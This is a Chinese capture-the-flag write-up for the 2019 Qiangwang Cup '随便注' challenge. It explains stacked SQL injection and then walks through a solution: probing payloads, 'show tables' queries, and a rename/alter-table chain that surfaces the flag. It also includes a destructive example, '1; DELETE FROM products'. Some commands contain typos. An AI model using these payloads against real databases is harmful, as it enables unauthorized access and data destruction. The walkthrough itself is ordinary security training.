[强网杯 2019]随便注
[强网杯 2019]随便注 wp from Kuller_Yan
原理:堆叠注入原理
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句
后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。
而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?
区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,
而堆叠注入可以执行的是任意的语句。例如以下这个例子。
用户输入:1; DELETE FROM products服务器端生成的sql语句为:
(因未对输入的参数进行过滤)Select * from products where productid=1;
DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
进入靶机我们可以看到一个表单提交,根据提示我们提交1;
尝试提交1'
没有返回,再尝试1'#
返回和1一样的内容,说明此处存在sql注入
输入1' or 1=1 #
可以看到返回数据,然后就可以开始尝试我们的注入;
使用1' union select #
可以返回一个正则过滤规则,可以看到几乎所有常用的字段都被过滤了
然后尝试堆叠注入1';show databases; #
可以返回,说明此处存在堆叠注入,然后使用1'; show tables #
,出现两个表名
ok,挨个查看表名分别使用1'; show columns from 1919810931114514; #
(当数字做表名的时候要加上··
但是这里我没加上,因为会有显示bug)还有1'; show cloumns from words;#
然后我们再看看1的返回内容,发现回显内容是从words表中才会回显;
然后查询过滤发现没有过滤没有过滤alert和rename关键字;
我们便可以考虑将原有words改名为任意,然后将1919810931114514改名为words,在新的words表中插入一列名为id 然后将flag改名为data;
命令如下:
1';rename table `words` to `word1`;
rename table `1919810931114514` to `words`;
alter table `words` add id int unsigned not Null auto_increment primary key;
alert table `words` change `flag` `data` varchar(100);#
然后再1' or 1=1 #